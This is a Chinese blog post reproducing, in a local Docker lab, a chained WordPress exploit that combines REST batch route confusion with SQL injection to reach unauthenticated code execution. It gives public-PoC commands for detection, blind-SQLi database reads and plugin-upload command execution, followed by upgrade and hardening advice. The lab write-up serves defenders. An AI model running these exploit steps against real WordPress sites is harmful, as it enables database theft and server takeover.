欢迎光临
我们一直在努力

WordPress 最新组合漏洞本地复现:CVE-2026-63030 && CVE-2026-60137

漏洞概况:两个高危漏洞可链式利用实现未授权RCE

针对WordPress核心的两项严重漏洞,公开的PoC(概念验证)利用代码现已发布。这两个漏洞分别编号为 CVE-2026-63030 和 CVE-2026-60137,攻击者可将其链式利用,在未经验证的情况下对运行 6.9.x 与 7.0.x 版本的默认WordPress安装实现远程代码执行。

CVE 编号漏洞类型影响点
CVE-2026-63030 REST Batch 路由混淆 造成 REST 子请求路由与校验逻辑错位
CVE-2026-60137 SQL 注入 WP_Query::author__not_in 参数处理不当

影响版本

WordPress 6.8.0-6.85

WordPress 6.9.0 – 6.9.4

WordPress 7.0.0 – 7.0.1

实验环境

项目版本 / 配置
操作系统 Ubuntu 22.04 虚拟机
部署方式 Docker Compose
WordPress 7.0.1
Web 服务 Apache + PHP 8.2
数据库 MySQL 8.0
PoC Icex0/wp2shell-poc
靶场地址 http://127.0.0.1:8080

漏洞原理简析

该组合漏洞的核心在于 WordPress REST API 的 Batch 请求处理逻辑。在漏洞版本中,Batch 子请求的路由匹配结果和校验结果可能在异常情况下发生错位。攻击者可以借助这种错位,让请求进入原本不应到达的处理路径。这样一来,两个结果列表的长度和顺序就不一致了。

后续 WordPress 再按数组下标去取结果时,就可能发生错位:

异常子请求 A → 校验数组产生结果 正常子请求 B → 路由数组产生结果

数组索引发生错位   ↓ 子请求 B 被错误地交给其他处理器   ↓ 触发后续 SQL 注入逻辑

复现步骤

1.Docker 部署 WordPress 靶场

创建实验目录,编写dockerfile

mkdir -p ~/labs/wp-lab
cd ~/labs/wp-lab
name: wp-lab

services:
db:
image: mysql:8.0
container_name: wp-lab-db
restart: unless-stopped
command: –default-authentication-plugin=mysql_native_password
environment:
MYSQL_DATABASE: wordpress
MYSQL_USER: wordpress
MYSQL_PASSWORD: wp_password
MYSQL_ROOT_PASSWORD: root_password
volumes:
– db_data:/var/lib/mysql
networks:
– wpnet
healthcheck:
test: ["CMD-SHELL", "mysqladmin ping -h 127.0.0.1 -uroot -p$$MYSQL_ROOT_PASSWORD –silent"]
interval: 5s
timeout: 3s
retries: 30
start_period: 15s

wordpress:
image: wordpress:7.0.1-php8.2-apache
container_name: wp-lab-web
restart: unless-stopped
depends_on:
db:
condition: service_healthy
ports:
– "127.0.0.1:8080:80"
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: wordpress
WORDPRESS_DB_PASSWORD: wp_password
WORDPRESS_DB_NAME: wordpress
WORDPRESS_CONFIG_EXTRA: |
define( 'AUTOMATIC_UPDATER_DISABLED', true );
define( 'WP_AUTO_UPDATE_CORE', false );
define( 'FS_METHOD', 'direct' );
define( 'WP_DEBUG', true );
define( 'WP_DEBUG_LOG', true );
define( 'WP_DEBUG_DISPLAY', false );
volumes:
– wp_data:/var/www/html
networks:
– wpnet

wpcli:
image: wordpress:cli-php8.2
container_name: wp-lab-cli
restart: "no"
depends_on:
db:
condition: service_healthy
wordpress:
condition: service_started
user: "33:33"
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: wordpress
WORDPRESS_DB_PASSWORD: wp_password
WORDPRESS_DB_NAME: wordpress
volumes:
– wp_data:/var/www/html
networks:
– wpnet
entrypoint: ["wp"]

volumes:
db_data:
wp_data:

networks:
wpnet:
driver: bridge

启动并初始化 WordPress(账号+密码)

#启动容器
docker compose up -d
查看容器状态
docker compose ps
#初始化WordPress
docker compose run –rm wpcli core install \\
–url='http://127.0.0.1:8080' \\
–title='wp-lab' \\
–admin_user='labadmin' \\
–admin_password='LabOnly_2026!ChangeMe' \\
–admin_email='lab@example.com' \\
–skip-email

查看 WordPress 版本,显示7.0.1,同时打开127.0.0.1:8080是否有效访问

docker compose run –rm wpcli core version

看到版本号+wordpress登录页,说明当前 WordPress 版本符合本次复现环境要求

2.准备 PoC 环境

本次使用开源 PoC:

https://github.com/Icex0/wp2shell-poc

POC整体利用链流程:

1. 检测 WordPress 指纹与版本 2. 探测 REST Batch API 行为 3. 判断是否存在 route-confusion 特征 4. 主动确认 SQL 注入 5. 通过 SQL 注入读取数据库信息 6. 通过 SQLi-to-admin bridge 创建临时管理员 7. 登录后台上传临时插件 8. 通过插件执行系统命令 9. 删除临时管理员并尝试清理插件

如果是通过 zip 包下载,解压后进入目录即可:

cd wp2shell-poc-main
#直接查看帮助信息,验证是否有python环境
python3 wp2shell.py –help

若实验输出下述,证明POC可用

usage: wp2shell [-h] [–version] {check,read,shell} …

WordPress REST batch route-confusion SQLi PoC associated with wp2shell.

positional arguments:
{check,read,shell}
check confirm the vulnerability on a URL, or scan a file of URLs
read read from the database via blind SQL injection
shell plugin shell; with credentials or via the pre-auth bridge

3.POC验证

基础检测

python3 wp2shell.py check http://127.0.0.1:8080

重点关注这一行,若存在,说明目标存在 Batch 路由混淆行为:

[+] VULNERABLE — batch route-confusion behavior detected.

SQL 注入确认

python3 wp2shell.py check http://127.0.0.1:8080 –confirm-sqli

重点关注这一行,若存在,说明SQL 注入链路已经确认成功:

[+] SQLi confirmed — UNION fake-post read returned data.

数据库读取验证,进一步验证利用

读取当前数据库名和数据库版本号

python3 wp2shell.py read http://127.0.0.1:8080 –query "SELECT DATABASE()"
python3 wp2shell.py read http://127.0.0.1:8080 –query "SELECT @@version"

此时已经验证:

查询内容结果
当前数据库 wordpress
MySQL 版本 8.0.46

命令执行验证

注意:该步骤会在本地靶场上传临时插件用于执行命令。 本文仅执行 id、uname 等无害命令,不执行反弹 Shell、持久化、下载远程脚本或破坏性命令。

python3 wp2shell.py shell http://127.0.0.1:8080 –cmd 'printf "WP2SHELL_OK\\n"; id; uname -a'

关键输出:

WP2SHELL_OK uid=33(www-data)

说明命令已经在 WordPress 容器中成功执行,执行身份为www-data

修复建议

1. 升级 WordPress Core

最有效的修复方式是升级 WordPress 到官方修复版本。

建议版本如下:

分支修复建议
WordPress 6.9.x 升级到 6.9.5 或更高版本
WordPress 7.0.x 升级到 7.0.2 或更高版本

2.临时限制 REST Batch API

如果短时间内无法升级,可以先在反向代理、WAF 或安全网关中限制匿名访问 Batch API。

重点限制以下路径:

/wp-json/batch/v1 ?rest_route=/batch/v1

3.限制后台插件上传能力

本漏洞链后半部分依赖管理员权限上传插件,因此可以通过限制插件安装能力降低风险。

配置作用
DISALLOW_FILE_EDIT 禁止后台编辑主题和插件文件
DISALLOW_FILE_MODS 禁止后台安装、更新、删除插件和主题

如果生产环境依赖后台更新插件,不建议长期启用 DISALLOW_FILE_MODS,可以改为通过 CI/CD、SFTP 或运维流程统一更新。

POC参考链接和文章链接

Icex0/wp2shell-poc: wp2shell (CVE-2026-63030 & CVE-2026-60137) – full RCE chain

【成功复现】WordPress组合漏洞命令执行(CVE-2026-63030&CVE-2026-60137) – 信息安全知识库

总结

本次实验通过 Docker 搭建了本地 WordPress 7.0.1 靶场,并使用开源 PoC 对 wp2shell 组合漏洞链进行了完整验证。从复现结果来看,该漏洞链并不是单一漏洞直接造成命令执行,而是由 REST Batch 路由混淆 与 author__not_in SQL 注入 组合触发。攻击链首先通过 Batch API 的路由错位问题,使匿名请求进入异常处理路径;随后触发 SQL 注入,进一步创建临时管理员账号;最后借助 WordPress 管理员的插件上传能力,实现 Web 服务用户权限下的命令执行。

⚠️ 声明:本文内容仅供安全研究和授权测试使用,严禁用于非法目的。

赞(0)
未经允许不得转载:171主机测评 » WordPress 最新组合漏洞本地复现:CVE-2026-63030 && CVE-2026-60137
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址